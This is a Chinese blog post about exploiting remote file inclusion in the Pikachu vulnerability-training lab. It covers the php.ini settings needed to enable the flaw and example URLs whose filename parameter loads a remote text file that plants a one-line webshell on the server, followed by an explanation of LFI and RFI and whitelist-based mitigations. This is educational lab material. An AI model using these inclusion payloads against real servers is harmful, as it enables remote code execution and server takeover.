Pikachu-File Inclusion-远程文件包含

 远程文件包含漏洞

        是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。但远程文件包含漏洞的利用条件较为苛刻;因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

PHP的需要php.ini中配置

allow_url_fopen=On    // 默认情况下是打开的;
allow_url_include=On  // 默认情况下是关闭的;

开启配置

文件所在位置:

	/etc/php/7.3/apache2/php.ini

修改完成后,

重启容器, 

exit         #退出当前容器的/bin/bash
docker ps    #查找当前容器id
docker restart 4e4ccb0e81d2   #重启pikachu容器

### Pikachu文件包含的使用 在pikachu中,文件包含相关操作通常通过构造特定的URL参数来实现。例如,在示例引用中给出了一个远程文件包含的URL:`http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu-master/shell.txt&submit=提交查询` ,这里通过 `filename` 参数指定要包含的文件,服务器会尝试包含该文件内容。当访问这个文件之后,就会执行该代码,在本地创建一个文件,包含一句话木马,如 `http://127.0.0.1:8080/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.3.184:8080/aaa.txt&submit=提交` [^1][^3]。 ### 漏洞利用 文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI)。本地文件包含仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。例如攻击者可以上传一个包含恶意代码的文件,然后利用本地文件包含漏洞包含该文件,从而执行恶意代码。远程文件包含则允许攻击者指定一个远程服务器上的文件进行包含,攻击者可以构造包含恶意代码的远程文件,让目标服务器包含并执行,如通过构造恶意的 `aaa.txt` 文件,让目标服务器执行其中的恶意代码 [^2]。 ### 解决方案 - **输入验证**:对用户输入的文件名进行严格的验证和过滤,只允许包含合法的、预定义的文件。可以使用白名单机制,只允许包含在白名单中的文件。 - **禁用危险函数**:如果不需要使用远程文件包含功能,应在服务器配置中禁用相关的函数,如 `allow_url_fopen` 和 `allow_url_include` 等。 - **限制文件路径**:确保包含的文件路径在可控的范围内,避免攻击者通过构造特殊路径来包含敏感文件。 ```php <?php // 示例:白名单验证 $whitelist = array('file1.php', 'file2.php'); $filename = $_GET['filename']; if(in_array($filename, $whitelist)) { include($filename); } else { echo "Invalid file"; } ?> ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值